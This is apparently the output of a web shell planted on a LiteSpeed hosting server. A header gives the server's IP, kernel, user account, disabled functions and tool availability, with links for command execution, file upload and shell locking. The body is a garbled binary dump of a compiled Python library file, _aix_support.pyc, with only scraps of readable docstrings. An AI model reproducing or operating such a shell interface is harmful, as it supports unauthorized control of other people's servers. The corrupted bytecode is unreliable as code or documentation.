Server IP : 82.180.170.48 / Your IP : 216.73.216.12 Web Server : LiteSpeed System : Linux us-phx-web1609.main-hosting.eu 5.14.0-503.40.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Mon May 5 06:06:04 EDT 2025 x86_64 User : u636808025 ( 636808025) PHP Version : 8.2.28 Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail MySQL : OFF | cURL : ON | WGET : ON | Perl : OFF | Python : OFF Directory (0755) : /home/../dev/../lib64/nss/../python3.9/html/../__pycache__/ |
[ Home ] | [ C0mmand ] | [ Upload File ] | [ Lock Shell ] | [ Logout ] |
---|
a �DOg= �@spdZddlZddlZzddlZWney:ddlZYn0dd�Zdd�Zdd�Zd d �Z dd�Z d d�ZdS)zShared AIX support functions.�NcCs@tjdkrdnd}|dkr|nd}d�|d|d|d||�S) Ni���� �@r�'zaix-{:1x}{:1d}{:02d}-{:04d}-{}��)�sys�maxsize�format)Zvrtl�bdZ_sz�_bd�r�$/usr/lib64/python3.9/_aix_support.py�_aix_tagsrcCs2|�d�dd�\}}}t|d�t|�t|�gS)N�.����)�split�int)�vrmf�v�r�tlrrr � _aix_vrtlsrcCsRt�gd��}|�d�}|���d�}|ddkr>t|d�nd}t|d�|fS)a( Return a Tuple[str, int] e.g., ['7.1.4.34', 1806] The fileset bos.rte represents the current AIX run-time level. It's VRMF and builddate reflect the current ABI levels of the runtime environment. If no builddate is found give a value that will satisfy pep425 related queries )z/usr/bin/lslppz-Lqczbos.rtezutf-8�:r�rr)� subprocess�check_output�decode�striprr�str)�outrrrr �_aix_bos_rtes r!cCst�\}}tt|�|�S)a� AIX filesets are identified by four decimal values: V.R.M.F. V (version) and R (release) can be retreived using ``uname`` Since 2007, starting with AIX 5.3 TL7, the M value has been included with the fileset bos.rte and represents the Technology Level (TL) of AIX. The F (Fix) value also increases, but is not relevant for comparing releases and binary compatibility. For binary compatibility the so-called builddate is needed. Again, the builddate of an AIX release is associated with bos.rte. AIX ABI compatibility is described as guaranteed at: https://www.ibm.com/ support/knowledgecenter/en/ssw_aix_72/install/binary_compatability.html For pep425 purposes the AIX platform tag becomes: "aix-{:1x}{:1d}{:02d}-{:04d}-{}".format(v, r, tl, builddate, bitsize) e.g., "aix-6107-1415-32" for AIX 6.1 TL7 bd 1415, 32-bit and, "aix-6107-1415-64" for AIX 6.1 TL7 bd 1415, 64-bit )r!rr)rr rrr �aix_platform.s r"cCs t�d�}|std��t|d�S)NZBUILD_GNU_TYPEzBUILD_GNU_TYPE is not defined)r)� sysconfig�get_config_var� ValueErrorr)Zgnu_typerrr �_aix_bgtFs r&c CsHt�d�}zt|�}Wn$ttfy:td|����Yn0tt�|�S)zD Return the platform_tag of the system Python was built on. Z AIX_BUILDDATEz)AIX_BUILDDATE is not defined or invalid: )r#r$rr%� TypeErrorrr&)Z build_daterrr �aix_buildtagNs �r()�__doc__rr#r�ImportErrorZ_bootsubprocessrrr!r"r&r(rrrr �<module>s